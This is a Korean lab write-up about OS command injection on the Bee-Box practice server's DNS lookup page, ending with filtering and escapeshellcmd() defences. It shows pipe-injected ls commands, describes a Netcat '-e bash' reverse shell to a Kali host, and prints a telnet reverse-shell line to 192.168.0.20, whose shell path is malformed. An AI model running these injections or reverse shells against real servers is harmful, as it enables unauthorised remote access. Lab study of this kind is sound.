본문 바로가기
Web Hacking/Bee-Box

[ Bee-Box ] 기타 Injection - OS 커맨드 injection

by 코뮤(commu) 2020. 3. 30.
728x90
반응형

 

 

 

 

OS command Injection?

 

 

 

OS 커맨드 인젝션이란 취약한 변수로 시스템 명령어를 주입하여

서버 운영체제에 접근하는 공격입니다.

 

 

 

보통 웹 페이지에서 서버의 시스템 쉘을 호출할 때

관리자가 의도한 명령어가 아닌 다른 명령어를 주입하여 서버의 정보를 알아냅니다.

 

 

 

여기서, 쉘이라는 개념이 익숙하지 않으신 분들을 위해 잠시 쉘을 간단하게만 설명하고 가겠습니다.

 

 

 

 

 

Shell?

쉘이란 사용자에게 입력받은 명령어를 기계어로 번역하여

커널에게 전달하는 명령어 해석기입니다.

커널과 사용자를 이어주는 일종의 매개체라고도 볼 수 있습니다.

 

 

 

 

 

 

OS 커맨드 인젝션은

공격자가 취약한 변수에 악의적인 코드나 명령어를 삽입하면

서버가 악의적인 코드를 실행하거나 명령어를 입력한 결과를 출력하는 흐름으로 진행됩니다.

 

 

 

 

 

 

 

OS command Injection 페이지로 들어가보도록 하겠습니다.

 

 

 

 

 

 

 

 

 

이 페이지는 DNS lookup 옆의 박스에 주소를 입력하면

그 주소의 DNS 주소를 출력하는 페이지입니다.

 

 

 

DNS 주소를 조회할때는 nslookup 명령어를 사용하는데,

만약 여기에 리눅스에서 명령어를 이어주는 파이프라인과 동시에 다른 명령어를 보내면 어떻게 반응할까요?

 

 

파이프라인을 해주고 ls 명령어를 사용해주도록 하겠습니다.

 

 

 

 

 

 

 

 

 

 

굉장히 많은 파일들이 존재하고 있네요.

ls 명령어로 상위폴더로 이동해볼까요?

 

 

파이프라인 이후에 ls ../../../ 를 통해 최상위 디렉토리들의 정보를 출력해봅시다.

 

 

 

 

 

 

 

 

상위에 몇개가 있는지 몰라서 상위폴더로 이동하는 ../ 를 여러개 사용했습니다.

 

 

이렇게 최상위 폴더의 리스트도 쭉 출력할 수 있겠네요.

 

 

 

 

 

비박스 책에 추가적으로 넷캣 명령어를 사용해서 실습해보는 것도 있어서 이 내용도 추가합니다.

 

 

 

 

Netcat?

 

넷캣은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서

데이터를 읽고 쓰는 간단한 유틸리티 프로그램입니다.

 

 

 

 

 

 

OS 커맨드 인젝션에 넷캣을 입력하면 비박스의 서버 정보를 외부에서 파악할 수 있습니다.

칼리리눅스를 실행해서 넷캣 명령어를 실행해보도록 하겠습니다.

 

 

 

 

 

칼리를 켜고 터미널을 연 뒤 리스닝모드로 넷캣을 실행해볼거에요.

 

 

-l 은 리스닝 모드 옵션이고, -p는 포트번호 지정 옵션입니다.

 

 

 

 

 

 

이렇게 넷캣을 명령어를 입력 해주고 관리자의 비밀번호를 쳐줍니다.

저는 디폴트라 kali 를 입력해줬어요.

 

 

 

 

칼리 리눅스에서 넷캣을 실행한 다음 commandi.php 페이지의 입력란에

넷캣을 실행하는 명령어를 입력합니다.

 

넷캣과 연결을 위해서 칼리의 IP와 포트번호를 인자값으로 주고, 칼리에서

비박스 서버의 정보를 알기 위해서 명령어를 실행해야하므로 -e 옵션으로 bash 셸을 실행합니다.

 

 

 

 

 

 

 

 

 

 

 

명령어를 다 입력하고 Lookup 버튼을 누르면 페이지는 멈춰있습니다.

당황하지말고 칼리로 가서 넷캣을 실행한 터미널에 명령어를 입력해보도록 하겠습니다.

 

 

 

 

 

 

이렇게 칼리에서 명령어를 입력하면

비박스 서버의 정보를 토대로 결과값을 출력하는 것을 확인할 수 있습니다.

 

 

 

 

 

+ 보안상 -e 옵션을 사용하면 공격자가 이와 같이 활용할 수 있기 때문에 실무에서는

telnet 명령어로 이를 우회 공격하게 됩니다.

5555포트와 6666포트를 열고 기다린 후 대상 서버에서 아래와 같은 명령을 입력합니다.

 

 

sleep 1000 | telnet 192.168.0.20 5555 | /bash/sh telnet 192.168.0.20 6666

 

 

 

 

 

 

OS command Injection 대응방안

 

 

난이도 상에서는 난이도 하와 같은 명령어를 사용해도 인젝션 결과가 나오지 않습니다.

commandi.php 를 찾아가 봅시다.

 

 

 

 

 

 

 

 

난이도 중과 상은 각각 commandi_check_1() 과 commandi_check_2()를 통해

값을 우회하고 있네요.

 

 

 

 

 

 

난이도 중은 &와 ; 를 우회합니다.

 

 

 

 

 

 

반면 난이도 상은 escapeshellcmd() 라는 것을 사용해서 값을 우회하네요.

 

 

 

 

 

escapeshellcmd() ?

 

 

escapeshellcmd 함수는 시스템 셸로 실행할 수 있는 특수문자에 백슬래시를 붙여서

명령을 실행할 수 없도록 방어하는 함수입니다.

 

 

제가 공부를 하면서 느낀 것인데, 특수문자 앞에 백슬래시를 붙여서 데이터를 우회하는 경우가 많은 것 같아요.

그냥 한탄이었습니다. ㅎㅅㅎ

 

사용할 수 있는 문자는 #, & , ; , ` , | , * , ? , ~ , < , > , ^ , ( , ) , [ , ] , { , } , $ , \ , \x0A , \xFF, . , ' , " 가 있습니다.

 

 

 

 

최고의 대응 방안은 시스템 명령어를 외부에서 사용하지 못하도록 하는 것이 가장 좋지만,

어쩔 수 없이 시스템 명령어를 사용해야한다면 다른 명령어를 사용할 수 없도록 &, ; , | 문자를

반드시 우회해주어야 합니다.

 

 

 

 

728x90
반응형